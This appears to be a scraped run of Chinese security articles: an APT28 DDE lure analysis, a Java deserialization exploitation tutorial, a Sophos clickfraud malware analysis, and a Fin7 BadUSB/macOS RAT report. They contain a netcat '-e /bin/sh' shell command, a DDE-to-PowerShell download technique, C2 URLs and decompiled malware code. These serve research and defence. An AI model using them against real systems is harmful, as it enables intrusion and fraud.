我们可以看到样本运用初步的社会工程学技术，虽然表面上是运行的MSWord.exe,但是实际上运行的是POWERSHELL进程。
"C:\Programs\Microsoft\Office\MSWord.exe\\..\\..\\..\\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Powershell进程会远程下载一个文件，并用powershell执行起来。此文件用以下YARA规则进行匹配能够匹配到
再来分析SabreGuardian.docx，发现跟上个文件一样还是进行了一定的社会工程学，伪装成启动MSWord.exe
但是并没有发现如上一个文件一样的字符串，但是通过使用上面的yara规则也能匹配到具体的威胁，如下图所示。
在对应的word/document.xml发现了上面的字符串，我们具体分析下这个字符串。
通过分析发现了Quote域，Quote域可以将特定的文本插入到文档中如下图所示，QUOTE域提供某个字符的数字编码，它会将这个编码转换为对应的字符，set
用于存储Quote生成的值保存到C变量中，可以看到设置了三个变量c、d、e
最后传到DDE命令中
上面的内容缩写为
{SET c "{QUOTE 65 65 65 65}"}
{SET d "{QUOTE 66 66 66 66}"}
{SET e "{QUOTE 67 67 67 67}"}
{DDE {REF c} {REF d} {REF e}}
等同于
{DDE "AAAA" "BBBB" "CCCC"}
来写一个小的python脚本来将上面的数字编码转化成字符串。
三段小字符串分别是如下图所示，发现跟第一个是一样的通过powershell下载文件在通过power shell运行。
**参考文章：**
<https://securingtomorrow.mcafee.com/mcafee-labs/apt28-threat-group-adopts-dde-technique-nyc-attack-theme-in-latest-campaign/> | 社区文章 |
# 【技术分享】如何攻击Java反序列化过程
|
##### 译文声明
本文是翻译文章，文章来源：nickbloor.co.uk
原文地址：<https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
****
现在反序列化（deserialization）漏洞早已不是新鲜事物（如这几处参考资料[[1]](https://heine.familiedeelstra.com/security/unserialize)[[2]](http://www.pwntester.com/blog/2013/12/16/cve-2011-2894-deserialization-spring-rce/)[[3]](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)[[4]](https://www.insomniasec.com/downloads/publications/Practical%20PHP%20Object%20Injection.pdf)），但与其他类别漏洞相比，反序列化漏洞的利用过程涉及更多方面的因素。在应邀对客户进行渗透测试时，我成功利用Java反序列化漏洞获得了某台服务器的权限，利用这台服务器，我获得了数十台服务器的root访问权限，这些服务器横跨多个数据中心，部署了各种预生产以及生产环境。在之前多次渗透测试中，安全人员都没有发现过这个漏洞，如果我之前没接触过Java序列化及反序列化方面的知识，我肯定也会错过这个漏洞。
在本文中，我会尝试理清大家对反序列化漏洞的一些误解及困扰，希望能通过工具的使用来降低反序列化漏洞利用的技术门槛。我主要针对的是Java语言，但所涉及的原理同样也适用于其他语言。此外，我会重点分析命令执行的利用方法，以保持主题的简洁性。
今年早些时候，我在[SteelCon](https://www.steelcon.info/)上讨论过这个话题，后面我还会在[BSides
Manchester](https://www.bsidesmcr.org.uk/)以及BSides
Belfast上讨论同一话题，此外，在今年的[44con](https://44con.com/)上，我会讨论另一个Java后门。
**二、序列化及反序列化**
****
简而言之，序列化就是将运行时的变量和程序对象转换为可被存储或传输形式的一种过程。反序列化是一个相反的过程，可以将序列化形式的数据转换回内存中的变量及程序对象。
**经过序列化的数据可以存储为文本格式的数据，如JSON或者XML，也可以存储为二进制格式的数据** 。包括 **C#** 、 **Java** 以及
**PHP**
在内的许多高级语言本身就支持数据序列化，操作起来非常便捷，使开发者不必自己去实现这一过程，大大减轻开发者的工作量。在本文中，我重点分析的是Java内置的序列化格式，但其他数据格式也可能面临类似的风险（大家可以参考Alvaro
Muñoz和Oleksandr Mirosh在Black Hat USA 2017以及Def Con
25上关于JSON攻击的[演讲](https://www.blackhat.com/us-17/briefings.html#friday-the-13th-json-attacks)来了解更多技术细节）。
**2.1 问题所在**
序列化和反序列化的应用本身并不存在问题。 **但当用户（或者攻击者）可以控制正在反序列化的数据时，问题则随之出现** 。比如，
**如果数据使用网络渠道投递给反序列化处理过程，那么当攻击者可以控制被反序列化的数据时，此时内存中的变量及程序对象就会受到一定程度的影响。随后，如果攻击者可以影响内存中的变量以及程序对象，与这些变量及程序对象有关的代码执行流程就会受到影响**
。我们来看一下Java反序列化的例子：
public class Session {
public String username;
public boolean loggedIn;
public void loadSession(byte[] sessionData) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(sessionData));
this.username = ois.readUTF();
this.loggedIn = ois.readBoolean();
}
}
上述代码中，“loadSession”方法接受一个字节数组作为参数，反序列化一个字符串，将处理结果赋值给对象的“username”以及“loggedIn”属性。
**如果攻击者可以控制“sessionData”字节数组的内容，那么当该数组被传递给此方法时，攻击者就能控制对象的这些属性**
。这个Session对象的某个使用场景如下所示：
public class UserSettingsController {
public void updatePassword(Session session, String newPassword) throws Exception {
if(session.loggedIn) {
UserModel.updatePassword(session.username, newPassword);
} else {
throw new Exception("Error: User not logged in.");
}
}
}
如果登录会话建立成功，那么会话所对应的那个用户的密码就会同步更新为输入的那个密码。这是“POP（Property-Oriented
Programming，面向属性编程）利用点”的一个简单示例，根据这段代码，我们可以利用对象的属性值来控制某些用户数据。
**2.2 面向属性编程**
当我们可以控制对象的属性值，并利用这些属性值影响代码的执行过程时，这一过程就称之为“面向属性编程（ **property-oriented
programming，POP** ）”。 **POP利用点指的是一个代码片段，我们可以修改某些对象的属性来影响这个代码片段，使其满足我们的特定需求**
。许多情况下，我们需要串联多个利用点才能形成完整的利用程序。我们可以将其看成高级ROP（return-oriented
programming，面向返回编程）技术，只不过ROP需要将某个值推送到栈上，而我们通过POP利用点可以将某些数据写入到文件中。
这里非常重要的一点是，反序列化漏洞利用过程不需要将类或者代码发送给服务器来执行。我们只是简单发送了类中的某些属性，服务器对这些属性比较敏感，通过这些属性，我们就能控制负责处理这些属性的已有代码。因此，
**漏洞利用成功与否取决于我们对代码的熟悉程度** ， **我们需要充分了解通过反序列化操作能被操控的那部分代码**
。这也是反序列化漏洞利用过程中的难点所在。
**2.3 有趣的利用点**
程序中任何地方都可能存在POP利用点，唯一的要求是，我们可以利用反序列化对象的属性来操控程序代码，且攻击者可以控制正在被反序列化的数据。还有一些利用点更值得我们注意，因为它们的执行过程预测起来更为方便。在Java中，可序列化的类可以定义名为“readObject”的一种方法，在反序列化过程中，这个方法可以用来执行某些特定的操作（比如支持向后兼容特性）。当该类所属的某个对象正在被反序列化时，可以用这种方法来响应这类事件。比如，当某个数据库管理器对象被反序列化到内存中时，利用这种方法可以自动化建立与数据库的连接。大多数Java序列化漏洞利用技术使用的正是readObject方法中的代码，因为反序列化过程中肯定会执行这些代码。
**三、利用反序列化漏洞**
****
为了利用反序列化漏洞，我们需要满足两个关键的要素：
我们需要一个入口点，通过这个入口点，我们可以将自定义的序列化对象发往目标来做反序列化处理。
我们可以通过反序列化过程操控的一个或多个代码片段。
**3.1 入口点**
为了识别入口点，我们可以查看应用的源代码，看哪里使用了“ **java.io.ObjectInputStream**
”这个类（特别是“readObject”这个方法），或者查看实现了“readObject”方法的那些可序列化的类。如果攻击者可以控制传递给ObjectInputStream的那些数据，那么这种数据也可以作为反序列化攻击的入口点。此外，如果我们无法获得Java源代码，我们可以查找存储在硬盘中的序列化数据，或者使用网络进行传输的序列化数据，只要我们知道具体要查找的内容即可。
Java序列化数据开头包含两字节的魔术数字，这两个字节始终为十六进制的0xAC ED。接下来是两字节的版本号。我只见到过版本号为5（0x00
05）的数据，但更早的版本可能也存在，并且未来可能会出现更高的版本号。这四个字节之后是一个或多个内容元素，每个内容元素的第一个字节应该在0x70到0x7E之间，用来标明内容元素的类型，以标识后续数据流所对应的具体结构。大家可以参考Oracle官方文档中关于对象序列化流协议的介绍来了解更多细节。
在识别Java序列化特征时，人们经常说要寻找4字节的特征序列： **0xAC ED 00 05**
，事实上某些IDS规则也是根据这个特征来识别此类攻击。在应邀对客户进行渗透测试时，我没有第一时间发现这四个特征字节，因为目标客户端应用在运行期间始终保持与服务端的连接，这四个特征字节只在序列化流刚创建时出现过一次。因此，IDS无法识别我的攻击行为，因为我的攻击payload没有在序列化流的头部出现，而是稍后才发送。
我们可以以ASCII形式导出数据，识别Java序列化数据，而无需依赖头部中的 **0xAC ED 00 05** 这四个特征字节。
Java序列化数据中最为明显的特征是导出数据中存在Java类名，比如“ **java.rmi.dgc.Lease**
”。在某些情况下，Java类名可能以另外一种形式出现，比如开头为“L”，结尾为“;”，并会使用斜杠来分隔命名空间以及类名（如“
**Ljava/rmi/dgc/VMID;**
”）。除了Java类名，根据序列化格式规范，还有其他一些常见的字符串可以作为特征字符串，比如“sr”可能代表某个对象（TCOBJECT），其后跟着对象的类描述（TCCLASSDESC），或者“xp”可能代表某个类的类注释的尾部（TCENDBLOCKDATA），这个类不存在对应的超类（TCNULL）。
识别出序列化数据后，我们需要识别数据中哪处偏移量能够注入我们的payload。目标需要调用“ObjectInputStream.readObject”才能反序列化及实例化某个对象（payload），也才能支持面向属性的编程，然而它可以先调用另一个ObjectInputStream方法，比如“readInt”，通过该方法从流中读取一个4字节长度的整数。readObject方法会从序列化流中读取以下内容类型：
0x70 – TC_NULL
0x71 – TC_REFERENCE
0x72 – TC_CLASSDESC
0x73 – TC_OBJECT
0x74 – TC_STRING
0x75 – TC_ARRAY
0x76 – TC_CLASS
0x7B – TC_EXCEPTION
0x7C – TC_LONGSTRING
0x7D – TC_PROXYCLASSDESC
0x7E – TC_ENUM
在最简单的一种情况下，从序列化流中首先读取到的是一个对象，此时我们可以将payload直接插入4字节的序列化头部后面。我们可以检查序列化流的前5个字节，以识别这类场景。如果这5个字节的前4个字节为序列化头部（0xAC
ED 00 05），后面1个字节为上面列出的某个值，那么此时我们就可以在4字节序列化头部后发送我们的payload对象来攻击目标。
在其他情况下，4字节序列化头部后面最有可能跟着一个TCBLOCKDATA元素（0x77）或一个TCBLOCKDATALONG元素（0x7A）。前者由1个字节长的字段以及多个字节长的数据块构成，后者由4字节长的字段以及多个字节长的数据块构成。如果数据块后面跟着readObject支持的某个元素类型，那么我们就可以在数据块后面插入我们的攻击payload。
根据我在这一领域的研究成果，我编写了一个名为SerializationDumper的工具，利用这个工具，我们可以识别反序列化漏洞利用的入口点。这个工具可以解析Java序列化流，将序列化流以可视化的形式导出。如果数据流中包含readObject支持的某个元素类型，那么我们就可以使用某个payload对象来替换这一元素。工具的使用如下所示：
$ java -jar SerializationDumper-v1.0.jar ACED00057708af743f8c1d120cb974000441424344 STREAM_MAGIC
- 0xac ed STREAM_VERSION
- 0x00 05 Contents TC_BLOCKDATA
- 0x77 Length - 8
- 0x08 Contents
- 0xaf743f8c1d120cb9 TC_STRING
- 0x74 newHandle 0x00 7e 00 00 Length - 4
- 0x00 04 Value - ABCD - 0x41424344
根据上面的输出结果，我们发现数据流中包含一个TCBLOCKDATA，后面跟着一个TCSTRING，我们可以将TC_STRING替换为我们的攻击payload。
序列化流中的对象在加载时会被实例化，而不是当整个流完成解析时才会被实例化。根据这个事实，我们可以将攻击payload注入到某个序列化流中，而不用考虑去矫正序列化流剩余的那些数据。当任何验证操作执行时，或者当程序尝试从序列化流中读取更多数据时，攻击payload的反序列化以及执行操作早已完成。
**3.2 POP利用点**
识别出入口点后，我们就可以提供自己构造的序列化对象，以供目标进行反序列化处理，接下来我们需要找到POP利用点。如果我们可以访问源代码，那么我们可以查找“readObject”方法，以及在调用“ObjectInputStream.readObject”之后的那些代码，以判断是否存在可利用的点。
通常情况下，我们无法访问应用程序的源代码，但这并不能阻止我们利用反序列化漏洞，因为有许多第三方库可以作为我们的攻击目标。比如Chris
Frohoff以及Gabriel
Lawrence等研究人员已经在许多库中发现了POP利用链，并且发布了一个名为“ysoserial”的工具，这个工具可以生成攻击payload。这个工具大大简化了Java反序列化漏洞的攻击过程。
ysoserial中还包括许多利用链，因此下一步我们需要探索哪些利用链可以用来攻击目标。首先我们应该探索目标应用使用了哪些第三方库，或者是否存在信息泄露问题。如果我们知道目标应用使用了哪些第三方库，那么我们就可以选择合适的ysoserial
payload来尝试攻击。不幸的是，这些信息没那么容易获取，这种情况下，我们可以小心地遍历ysoserial中各种利用链，直到我们找到可以利用的那个点。这一过程需要异常小心，因为我们可能会触发无法处理的异常点，导致目标应用崩溃。这种情况下，目标应用会变得极其不稳定，如果目标应用无法处理不在预期范围内的数据或者格式错误的数据，那么即使使用nmap来扫描目标应用的版本也可能导致目标崩溃。
如果使用某个ysoserial
payload时，目标应用的响应为“ClassNotFoundException”，这种情况下，很有可能我们选择的利用点不能用于目标应用。如果目标应用出现“java.io.IOException”，同时返回“Cannot
run program”信息，那么很有可能我们选择的利用链适用于目标应用，但尝试执行的命令无法在目标服务器上执行。
ysoserial命令执行payload属于盲payload（blind
payloads）类型，不会返回命令的输出结果。由于使用了“java.lang.Runtime.exec(String)”语句，因此还存在其他一些限制。首先是不支持shell操作符，如输出重定向以及管道。其次是传递给payload命令的参数中不能包含空格，比如，我们可以使用
nc -lp 31313 -e /bin/sh
，但我们不能使用
perl -e ‘use Socket;…'
，因为传递给perl的参数中包含空格。幸运的是，网上有一个非常好用的payload编码器/生成器，可以绕过这些限制，大家可以访问<http://jackson.thuraisamy.me/runtime-exec-payloads.html> 来了解更多信息。
**四、亲自动手：DeserLab以及SerialBrute**
****
为了有效利用反序列化漏洞，理解序列化的原理以及反序列化漏洞利用的工作原理（如面向属性的编程原理）是非常重要的一件事情。与其他类型的漏洞相比，想做到这一点需要涉及许多方面的因素，因此找到一个可供练习的实验对象可以达到事半功倍的效果。除了发表这篇文章以外，我还发布了一个名为“DeserLab”的演示应用，该应用在Java序列化格式的基础上实现了一个自定义的网络协议。这个应用存在反序列化漏洞，大家可以根据本文介绍的技术来利用这个漏洞。
我编写了一个名为“SerialBrute”的工具，该工具由一对Python脚本构成，可以自动化使用ysoserial
payload来测试任何目标。第一个脚本为“SerialBrute.py”，可以重放TCP会话或者HTTP请求，并且能将payload注入到指定的位置；第二个脚本为“SrlBrt.py”，这是一个框架型脚本，在特殊情况下我们可以修改这一脚本来发送payload。这些脚本并没有考虑全部情况，因此需要谨慎使用，以免导致应用程序崩溃，但对我个人而言，我经常通过重放TCP会话，成功将ysoserial利用链注入目标应用中。
**五、总结**
****
感谢阅读本文。如果你对DeserLab感兴趣，欢迎多加使用。如果发现本文或我开发的工具中存在任何不足，需要进一步解释，欢迎通过推特向我反馈意见或者建议。 | 社区文章 |
### 事件前言
除了粉丝们对不同移动平台的喜爱之外，Android和iOS系统设备之间同样存在着其他明显的差异性：苹果系统的广告商将为苹果手机和平板电脑的使用者支付更多的广告费用。自`clickfraud`成为移动应用开发程序人员的主要收入来源以来，欺骗性的广告点击就成为恶意者获取利润的一种手段。
直到上个月SophosLabs公司偶然发现了22个移动应用程序的下载情况以来，`clickfraud`已经在`Google Play
Market`上托管并下载超过200万次。值得我们震惊的事实不是欺诈app并没有消失，而是数月或数年没有引起安全部门的关注。这些Android应用程序伪装成苹果设备向广告商索取高额的回报。
在我们的调查研究中，我们发现其中三个应用程序可以追溯至一年前，其中一个（手电筒应用程序）至少下载了一百万次。大多数这些恶意应用程序是在2018年6月及之后创建的。在最初的时候，这三个应用程序并不是恶意的，但是在6月份左右，这些应用程序中的clickfraud代码中被添加了木马。
谷歌在11月25日采取行动并从Play Market中删除了应用程序。 之后，这些应用无法再从官方Google商店下载，但其C2架构仍然有效。
此事件中所提及的应用（在本文末尾列出）仍然可以通过欺骗广告网络向应用创建者提供诈骗资金。
### 欺骗的关键特征
与已知广告相关的恶意软件相比，这些应用程序中的一些恶意功能被不断的改进：与前几代相比，它们拥有更好地持久性、灵活性，并且更具欺骗性。
如果命令和控制服务器指示他们检索其他文件，那么应用程序还可以在游戏过程中运行，并且被赋予下载的功能。
命令和控制服务器发送指令并指示恶意软件发送广告请求，这些请求伪装成为各种型号的移动手机上的应用。我们观察到clickfraud工具似乎是随机向Android和iOS手机模型进行网络报告。
这些恶意代码调用并不会导致那些预期的、破坏性的广告出现，否则会引起使用设备用户的关注。相反，恶意广告的调用是隐藏在浏览器窗口中的，应用程序会模拟用户与广告的交互行为。
对于用户来说，这些恶意程序的唯一影响就是会以更快的速度消耗手机的电池电量。由于用户无法将电量消耗的情况与恶意程序相关联，所以这些应用的Play
Market几乎没有显示负面评论。
恶意软件的灵活性是通过隐藏应用程序的真正来源而保证的，并以此来欺骗广告商。然而广告欺骗并不是用户所面临的唯一威胁。这些应用程序除了进行广告诈骗以外，还能够从C2服务器检索代码并下载程序。
此处显示的是Android调试器窗口，此时clickfraud代码正在广告商报告。而在Android虚拟设备中运行的应用与iPhone中运行的应用有所不同。
无论用户当前是否正在使用该应用，手机都会自动进行检索并“点击”此广告。由于存在这种恶意的功能，所以我们决定将这些文件归类为恶意文件。并将它们检测为`Andr
/ Clickr-AD`。
### clickfraud应用是如何工作的
我们检测到的`Andr / Clickr-AD`应用程序在设计之初就考虑了应用的最大灵活性和可扩展性。一切功能都可以通过应用程序的C2服务器进行配置。下面让我们来看看恶意软件的运作方式。
当用户首次启动应用程序时，它会向c2服务器发送`HTTP GET`请求。
http[://]sdk.mobbt.com/auth/sdk/login
服务器返回一个JSON格式的命令列表，它被称之为“sdk”。每个命令都包括下载“sdk”模块的URL、要调用的类和方法名称以及模块传递给方法所使用的参数。
以下是C2服务器的响应情况：
在此响应中，服务器告诉客户端下载并运行“rtb”或“mpb”模块。
对于每个模块，C2指定要下载URL的“libpath”字段，以及“sdk_data”字段中的类名、方法名和参数。
C2还控制应用程序以“exp”字段中所指定的时间间隔来更新指令。
在上面的示例中，应用程序等待10分钟（600秒）后再联系服务器以获取其sdk。
JSONArray v11_2 = v11_1.optJSONArray("sdk_data");
while(v2 < v11_2.length()) {
SDKData v1_1 = new SDKData();
JSONObject v3_1 = v11_2.optJSONObject(v2);
Object v4 = v3_1.keys().next();
JSONObject v5 = new JSONObject(v3_1.optString(((String)v4)));
String v3_2 = v5.optString("lp");
JSONObject v6 = v5.optJSONObject("start");
String v7 = v6.optString("method");
String v8 = v6.optString("class");
String v6_1 = v6.optString("parameters");
v1_1.setStartPair(Pair.create(v8, v7));
v5 = v5.optJSONObject("stop");
v1_1.setStopPair(Pair.create(v5.optString("class"), v5.optString("method")));
v1_1.setName(((String)v4));
v1_1.setLibpath(v3_2);
v1_1.setParameters(v6_1);
((List)v0_3).add(v1_1);
++v2;
}
this.updateSDKData(((List)v0_3));
服务器可以更新和更改sdk模块或添加新模块。 无论sdk模块包含哪些功能，客户端用来下载和运行程序的代码都相同。
private void invokeClass(Pair arg4) throws ReflectionException {
try {
this.invokeMethod(this.ctx, this.parameters, this.dexClassLoader.loadClass(arg4.first), arg4.second);
return;
}
catch(ClassNotFoundException v4) {
ThrowableExtension.printStackTrace(((Throwable)v4));
throw new ReflectionException("Classes Not Found");
}
}
名为“mpb”的模块会进行广告点击操作，并从C2服务器接收单独的指令。 为了获取主机相应的配置信息，它会向以下位置发送HTTP GET请求：
http[://]act.mobbt.com/actions/mb/view
此URL在上面的C2屏幕截图中显示的`“parameters”：“fetch”`字段中指定。
服务器将以JSON结构的命令进行回复，该结构用于下载恶意广告代码的参数。
在下面的示例中，Android应用程序被告知不仅要使用iOS应用程序的名称，还要使用伪造手机的型号（以明显错误的User-Agent字符串的形式）。
接下来，恶意软件使用从C2服务器收到的虚假应用程序名称、设备模型和用户代理字符串来处理HTTP请求，并将请求发送到：
http[://]ads.mobbt.com/m/ad
通过上述步骤，恶意软件可以以任何应用和设备的名义发送广告请求。
在上图中，应用程序从C2服务器收到以下响应：
"ua":"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_6 like Mac OS X) AppleWebKit/604.5.6 (KHTML, like Gecko) Mobile/15D100"
"model": "iPhone",
"make": "Apple",
"pkg":"com.takatrip.ios",
"app_name":"Takatrip"
之后，app应用预设新的参数并传递给：
http[://]ads.mobbt.com/m/ad
“mpb”sdk模块将创建一个零像素高和零宽的窗口，以隐藏下载的广告。
它从响应中检索链接，并使用此代码模拟点击操作。
v0.width = 0;
v0.height = 0;
this.containerView = new LinearLayout(this.ctx);
this.containerView.setLayoutParams(new RelativeLayout$LayoutParams(-1, -1));
this.containerView.setBackgroundColor(0);
this.containerView.addView(arg8);
if(this.windowManager == null) {
this.windowManager = this.ctx.getSystemService("window");
}
if(this.windowManager == null) {
return;
}
this.windowManager.addView(this.containerView, ((ViewGroup$LayoutParams)v0));
在我们的测试中，我们在“pkg”字段中能够观察到Android和iOS应用以及用户代理字符串的情况。
到目前为止，所有应用程序的开发人员只是少部分人。
这些开发者的广告收入正在持续增加。但是，此架构也可以为服务所用，以便为其他应用生成广告收入。
我们还通过iTunes Store找到了相同开发人员制作的应用程序。
目前，这些开发者发布的iOS应用程序与Android对应程序不同，例如缺乏Android对应程序中的广告点击功能等。
通过伪造HTTP请求中的用户代理和设备字段，应用生成的网络流量看起来像来自真实的设备。 它们看起来像是从真实用户的设备中发送的。
这样做的目的是为了减少用户的怀疑以及减少被检测器检测到的可能性。
到目前为止，我们所观察到服务器伪造数据表明欺诈性广告来自iPhone 5至8
Plus的Apple手机产品，以及来自33个不同品牌的249种不同的Android型号手机。据称Android OS版本
从4.4.2到7.x.来看，上述型号涵盖了市场上大多数流行的移动设备。
#### clickfraud绕过用户强制退出行为
恶意软件会以C2服务器指定的间隔时间进行自行调度运行。在我们的测试中，他以相当高的频率--每10分钟检查一次新的sdk运行，并且每80秒获取一次广告配置数据。
#### 以启动时间开始运行
应用程序使用`BOOT_COMPLETED`广播功能在手机重新启动后启动。
#### 同步监听机制
`Andr / Clickr-ad`的作者做了一些研究来使应用程序持久化。使用户强制从系统设置停止应用程序，该应用程序仍将在3分钟后自行恢复。
在`AndroidManifest.xml`文件中，它声明了一个同步适配器和一个与其相绑定服务：
<service android:exported="true" android:name="com.octopus.managersdk.sync_adapter.SyncService">
<intent-filter>
<action android:name="android.content.SyncAdapter" />
</intent-filter>
<meta-data android:name="android.content.SyncAdapter" android:resource="@xml/manager_syncadapter" />
</service>
它将同步适配器设置为定期运行。
long v4 = SyncUtils.prefs.getSyncPeriodicFrequency();
Log.d("SyncUtils", "init frequency: " + String.valueOf(v4));
v2_1.putBoolean("syncIdentifier:" + SyncUtils.mAccountName, true);
ContentResolver.addPeriodicSync(v1_2, SyncUtils.mContentAuthority, v2_1, v4);
之后应用会从服务器接收恢复应用程序的间隔。 在我们所分析的例子中，间隔被设定为3分钟。
if(v11_1.has("sync")) {
v0_1 = v11_1.optLong("sync");
if(this.preferences.getSyncPeriodicFrequency() != v0_1) {
this.preferences.setSyncPeriodFrequency(v0_1);
Utils.updateSyncFrequency(this.context, v0_1);
}
}
如果应用尚未被启动，那么app会从“sync：180”参数中读取时间，并每三分钟启动一次。
### Andr / Clickr-ad的演变
在上面分析的22个应用程序中有19个是在2018年6月之后创建的。自第一个版本以来，大多数应用程序都包含“sdk”下载功能。
三个旧应用程序`com.sparkle.flashlight`，`app.mobile.justflashlight`和`com.takatrip.android`是在2016年和2017年创建的。而早期版本是没有安全问题的。
具有sdk下载功能的早版本于2018年3月被发现。这表明开发这些应用程序的作者能够决定具体的攻击时间。然而我们无法分辨出具体的服务器响应。
但是，通过分析March版本的下载代码我们发现，开发者似乎只使用了“`rtb`”sdk模块。
2018年6月的版本与目前的版本更为接近。名为`mpb.jar`的空文件开始包含在`assets`文件夹中。
很可能`“mpb”sdk`模块从那时开始具有了恶意性。
### 结论
`Andr / Clickr-ad`是一种具有良好的组织性、持久性恶意软件。其有可能对用户的整个Android生态系统造成严重伤害。这些应用会产生欺诈性请求，导致广告网络因虚假点击而产生大量非法收入。
从用户的角度来看，由于应用程序在后台不断运行并与服务器通信，所以这些应用程序耗尽了手机的电量，并可能导致数据过剩的情况出现。此外，设备完全由C2服务器控制，并且可以根据服务器的指令在用户手机中安装恶意模块。
### IOC
本文为翻译稿件，原文为：https://news.sophos.com/en-us/2018/12/06/android-clickfraud-fake-iphone/ | 社区文章 |
**译者：知道创宇404实验室翻译组**
**原文链接：<https://threatintel.blog/OPBlueRaven-Part2/>**
本文旨在为读者提供有关PRODAFT＆INVICTUS威胁情报（PTI）团队针对不同威胁者的最新详细信息，以及发现与臭名昭著的Fin7
APT组织合作的人是谁。
[感谢您曾阅读在本系列文章的第一部分](https://paper.seebug.org/1335/
"感谢您曾阅读在本系列文章的第一部分")。在公开Fin7和REvil组织关系之前，我们试图与勒索软件的受害者联系，同时，我们将继续发布有关Fin7攻击者工具的文章。
在第一篇文章中，我们检查了Carbank后门控制面板的版本更改，并公开了以前未知的Tirion
Loader。我们希望Fin7组织在未来使用该装载机取代Carbanak后门。
在本系列的这一部分中，我们将深入研究Fin7攻击者进行的BadUSB攻击。
我们将分以下几部分来介绍整篇文章：
* BadUSB攻击概述
* macOS针对BadUSB攻击
* 攻击者收集的AV检测统计信息
* 受害者统计
### BadUSB攻击
2020年3月，与Fin7攻击组织相关的BadUSB攻击[1]被公开报告。这些攻击的目的是将正在运行恶意代码插入受害者的计算机。
在BadUSB攻击中，攻击者修改USB驱动器以充当人机接口设备（HID）（例如键盘），并通过此HID向受害机器进行输入。
在相关的Fin7攻击中，我们检测到Fin7攻击者正在修改其USB以充当键盘并模拟键盘击打，以调用恶意的Powershell命令。
下面的视频由攻击者录制（它是公开的Fin7文件之一），演示了BadUSB攻击。在视频中，攻击者将有害的USB驱动器插入了测试计算机。然后，BadUSB在很短的时间内键入了恶意命令，并显示了一个假错误消息。
视频地址：<https://threatintel.blog/OPBlueRaven-Part2/>
攻击者使用Atmega32u模块创建BadUSB驱动器。下面的代码段显示了Fin7组织使用的Arduino源代码生成器程序的反编译C＃代码。该程序将字符串作为输入，并生成Arduino源代码，通过模拟键盘在受害机器中键入此字符串。
下面的代码片段显示了一个有害的Arduino代码示例，该代码用于在2020年3月的攻击创建的BadUSB设备。
上面的负载下载并执行第二阶段Powershell负载。这些有效载荷已经由安全研究人员进行了分析。因此，在本文中，我们将不提供有效负载的反向工程详细信息。
在下图中，您可以看到第二阶段Powershell有效负载的示例。第二阶段负责部署JavaScript后门并显示伪造的错误消息。您可以在附录中查看命令和控制服务器列表。
下面的代码段显示了经过混淆的Javascript后门的一部分。此Javascript后门将收集系统信息并执行从命令和控制服务器获取的JavaScript有效负载。
### macOS针对BadUSB攻击
在上一节中，我们讨论了针对使用Windows
OS的受害者的BadUSB攻击。现在，我们将分享有关Fin7组织针对macOS的BadUSB攻击的未公开详细信息。
在研究Fin7组织开发的恶意Arduino源代码时，我们发现了一个代码片段，可用于将RAT下载并执行到macOS受害者机器中。
对丢弃的第二阶段有效负载的进一步分析表明，Fin7组织使用了一种开源远程管理工具（名为Bella）来控制macOS受害者计算机。下面列出了此RAT的功能：
* 遥控壳
* 坚持不懈
* 文件传输
* 反向VNC
* 音频流
* 通过系统提示登录/钥匙串密码网络钓鱼
* iTunes提示中的Apple ID密码网络钓鱼
* iCloud令牌提取
* 通过提取的令牌或密码访问用户的所有iCloud服务（iCloud联系人，查找我的iPhone，查找我的朋友，iOS备份）
* Google Chrome密码提取
* Chrome和Safari历史记录提取
* 发现kc密码后自动进行钥匙串解密
* macOS聊天记录
* iTunes iOS备份枚举
我们在Github（<https://github.com/kdaoudieh/Bella>）的公开版本和RAT的Fin7版本之间应用了源代码差异。在下图中，左侧显示了公开的代码，右侧显示了修改后的版本。我们发现了两个重大变化。有效负载将切换到“non-development”模式，并删除“print”语句。
Bella RAT命令和控制服务器在源代码中定义为“172.86.75.175:8443”。
### 防病毒检测统计
在调查暴露的文件以发现有关BadUSB攻击的更多详细信息时，我们意识到攻击者针对其工具包生成了详细的防病毒检测统计信息。因为它们的攻击手段不那么重要，所以他们不能使用公开可用的防病毒检查程序服务来评估其是否逃避成功。因此，它们选择使用特定AV产品的隔离虚拟机。
注意：我们的团队没有手动验证下节中显示的防病毒检测结果。
下图显示了BadUSB攻击的Powershell有效负载的检测率结果。从图像中可以看到，只有5个可以被检测到：
* 红色代表：被AV产品检测到。
* 绿色代表：未被AV产品检测到。
经过进一步研究，我们发现攻击者也为其他恶意工具生成了详细的反病毒检测统计信息。下图显示了Fin7工具（如恶意宏，Metasploit暂存器，Winbio和Powershell
Keylogger）的检测统计信息。如您在图像中所见，AV解决方案无法检测到其中2/3的攻击。
* 红色表示：已检测到。
* 黄色表示：未检测到但没有会话。
* 绿色表示：未检测到。
* 蓝色表示：已检测到会话出现。
* 紫色表示：如果编译为Powershell cmdline，则未检测到。
* 白色表示：未测试。
### 受害者统计
我们的团队设法窃听攻击者之间的通信。对这些日志的调查表明，将新的bot添加到他们的恶意活动之一时，攻击者使用XMPP
bot接收通知。每个通知均包含以下信息：
* 时间
* Bot ID（唯一编号+机器主机名）
* 代理服务器地址
* 组名称
* 文件ID（我们认为该数字代表第二阶段的有效负载文件）
我们观察到了2020年2月至2020年4月之间的通知。下图显示了按天数累计的新机器人数量。
到目前为止，我们在16个国家/地区识别出325名受害者。数据显示，Fin7组织主要针对美国。
* 美国
* 英国
* 德国
* 俄国
* 西班牙
* 瑞典
* 瑞士
* 以色列
* 意大利
* 墨西哥
* 荷兰
* 巴拿马
* 波兰
* 智利
* 捷克共和国
* 斯洛伐克
我们观察到12个不同的广告系列名称。下图显示了竞选活动的受害者人数百分比。
### 第二部分的结尾
在今天的文章中，我们揭示了Fin7组织的BadUSB活动的详细信息。我们披露了攻击者使用开源RAT管理macOS受害者计算机。我们共享了受害者统计信息和攻击者收集的防病毒检测统计信息的详细信息。
在下一篇文章中，我们计划通过更深入地研究攻击者之间的实际对应关系以及从攻击者的计算机获取的信息，来共享攻击者归因的详细信息。
